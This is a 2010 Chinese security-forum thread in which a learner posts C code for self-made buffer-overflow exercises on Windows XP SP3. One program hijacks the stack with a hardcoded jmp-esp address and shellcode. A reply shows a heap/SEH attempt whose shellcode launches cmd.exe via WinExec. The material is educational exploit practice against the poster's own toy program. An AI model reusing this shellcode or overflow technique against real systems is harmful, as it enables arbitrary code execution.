首页
社区
课程
招聘
[旧帖] [原创]我的第一次 調試成功!! 0.00雪花
发表于: 2010-3-30 00:06 3081

[旧帖] [原创]我的第一次 調試成功!! 0.00雪花

2010-3-30 00:06
3081
#include <stdio.h>
#include <string.h>
#include <windows.h>
//1029F280
//7C86467B
char* JMPESP="\x41\x41\x41\x41\x7B\x46\x86\x7C";  //這個浪費了很多時間 *1

// printf something
unsigned char shellcode[]="\x8B\xEC\x68\x42\x41\x40\x42\x36\x8D\x45\xFC\x50\xB8\xB0\xAB\x25\x10\xFF\xD0";

void overflow(){
        char input[20];
        printf("here overflow()\n");
        strcpy(input+24, JMPESP);
        strcpy(input+32,shellcode);
}

int main(int argv , char* argc){

overflow();
       
        system("pause");

        return 0;
}

*1
原來是在strcpy(input+24, JMPESP);  要連續 8 byte 我一直弄不懂這個 所以浪費了很多時間@@

我是用VS2008 xp sp3 繁中的

我要向HEAP overflow前進 要學懂所有技術

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
2010-3-30 08:27
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不懂SEH呀

我是用xp sp3 繁中 已經關閉了VS本身的GS 防overflow機製  不知道xp sp3下的seh有沒有另外一些安全加密?
我現在要最簡單的seh 來學習
2010-3-30 23:25
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
#include <stdio.h>
#include <string.h>
#include <windows.h>
//1029F280
//7C86467B
//00415930
//0041599c
char* JMPESP="\x7B\x46\x86\x7C";
//char* JMPESP="\x7B\x46\x86\x7C";

unsigned char shellcode[]="\x8B\xEC\x68\x65\x78\x65\x20\x68\x63\x6D\x64\x2E\x36\x8D\x45\xF8\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\xB8\xFA\xCA\x81\x7C\xFF\xD0";

DWORD MyExceptionHandler(void)
{
        printf("in except handler...\n");
        ExitProcess(1);
        return 0;
}

int main(int argv , char* argc){

        char *buf2=malloc(20);
    char *buf1=malloc(20);
        long diff=0;
       

        printf("buf1 address is : %p\n", buf1);
        printf("buf2 address is : %p\n", buf2);
        diff=(long)buf1-(long)buf2;

        printf("buf1 - buf2 address is : %d\n", diff);
        __try{
        strcpy(buf2+108, "NOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOP");
        strcat(buf2, shellcode);
       
       
        }
        __except(MyExceptionHandler())
        {

                printf("oops...\n");
        }
// ((void (_stdcall*)())&shellcode[0])();
       
       
        printf("buf1 is: %s\n", buf1);
        printf("buf2 is: %s\n", buf2);

        printf("here \n");
        system("pause");

        return 0;
}

如何調試呀??
2010-3-30 23:57
0
游客
登录 | 注册 方可回帖
返回
//